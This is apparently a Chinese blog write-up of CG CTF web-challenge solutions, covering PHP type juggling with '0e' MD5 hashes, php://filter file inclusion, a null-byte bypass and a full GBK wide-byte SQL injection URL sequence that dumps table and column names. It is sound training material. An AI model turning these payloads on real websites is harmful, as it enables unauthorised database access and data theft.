CG CTF web 上

签到题

打开f12查看源代码得到flag

md5 collision

把变量md51,md5加密后得到 0e830400451993494058024219903391
当成科学计算法,0的无论多少次方都是0
代码中提到
变量md52等于md5加密后的a参数
但是变量a不能等于未md5加密的md51
所以让a等于一个md5加密后为0e开头的字符串,用科学计数法看两者都为0
s878926199a的md5加密后为
0e545993274517709034328855841020
所以
在这里插入图片描述

签到2

口令已经给出来了
一个个输入,发现最后一个n不能输进去,看来有输入长度限制
打开F12修改maxlength为11或更多
在这里插入图片描述
在这里插入图片描述
重新输入口令,开门得到flag

这题不是WEB

F12没有线索,说了这题不是web,题目很像杂项,从GIF找线索,另存图片GIF,用记事本打开得flag
在这里插入图片描述

层层递进

打开是一个平台F12查看源代码
在这里插入图片描述
发现S0.html页面,进入页面http://chinalover.sinaapp.com/web3/S0.html
又发现
在这里插入图片描述
在进入SO.htm
在这里插入图片描述
进入S0.htm
在这里插入图片描述
进入404.html
在这里插入图片描述
看到一堆js文件,却是注释,认真一看发现flag

AAencode

看到颜文字,是一种密码,颜文字js加密,扔到控制台跑
在这里插入图片描述
得到flag

php decode

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

这里eval函数得用法有问题,eval(string) string中含有要计算的 JavaScript 表达式或要执行的语句。
上面的string明显不是可计算式子或可执行代码
改为echo更合适
修改后在PHP中运行

<?php

function CLsI($ZzvSWE)
{

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}

echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));

在这里插入图片描述
得到flag

单身二十年

经大佬blog启示
当按下key到这里找的时候,观察url,其实在跳到no_key_is_here_forever.php这个文件之前,跳到了另一个,只不过太快了,所以我们关掉js
如何关掉js在这里https://blog.csdn.net/fatong3/article/details/53690580
在这里插入图片描述
然后再点击一次key在这里,得到key

文件包含

点击超链接得到test123,F12查看源代码没有有用信息
所以猜测文件是一个包含可执行php代码得php文件,用base64解读此文件
关于php://filter了解
目标文件resource=index.php
所以
在这里插入图片描述
得到base64代码,解码后得

<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>

得到flag

Download~!

题目挂了

MYSQL

点开提示了robots.txt,进入这个页面
在这里插入图片描述
得到代码

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);//intval() 函数用于获取变量的整数值。
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

并提示了sql.php
所以向sql.php页面传入参数id
先传入id=1025,得到一串字母
h4cked_By_w00dPeck3r
加入nctf大小写和直接输入都不是正确的flag
所以换一个id
从id=1026就页面空白了,从1020一下的id也是空白,除id=1024是try again,其他都是相同一串字符
想起intval()函数的用法,猜想id是在1024里面的,id=1024.7等id里面
果然
在这里插入图片描述
得到flag

GBK Injection

GBK编码,联想到宽字节注入,点击这里了解宽字节注入。
为了吃掉自动转义,这里使用%df (ASCII大于128)加上自动转义出来的 \ 成为两个字符,认为是应该汉字,把 \ 吃掉

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'//报错
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' and 1=1%23//不报错
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' and 1='1'%23//报错
//由以上得到存在注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2%23 //字段为2
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()%23 //爆库名
sae-chinalover //得到库名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23 //原本是"sae-chinalover "但是引号会被转义,所以把sae-chinalover 转换为十六进制,前面加0x代替[这里](https://www.bejson.com/convert/ox2str/)字符串转十六进制
ctf,ctf2,ctf3,ctf4,gbksqli,news //是获得的表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634%23 //现在我爆的是ctf4这列,flag在里面
id ,flag //得到列
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4%23
得到flag!

/x00

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

strpos() 函数查找字符串在另一字符串中第一次出现的位置。(来自菜鸟教程)
在这里插入图片描述
没有定义start,默认从头开始寻找
即是传入参数要包含#biubiubiu ,但是与全部都是数字相矛盾
题目两个00提示了截断式漏洞,又url的#后面内容会被视为位置标识符,所以#用url编码%23
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=12345%00%23biubiubiu
得到flag

bypass again

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

就是参数a和b不能相等但是他们md5解密后要相等,同样使用科学计数法,0的不论多少次方都为0,找两个md5解密后开头为0e的字符串赋给参数ab
http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
以上其中一个例子
得到flag

发布了19 篇原创文章 · 获赞 0 · 访问量 259

猜你喜欢

转载自blog.csdn.net/weixin_45689999/article/details/104472565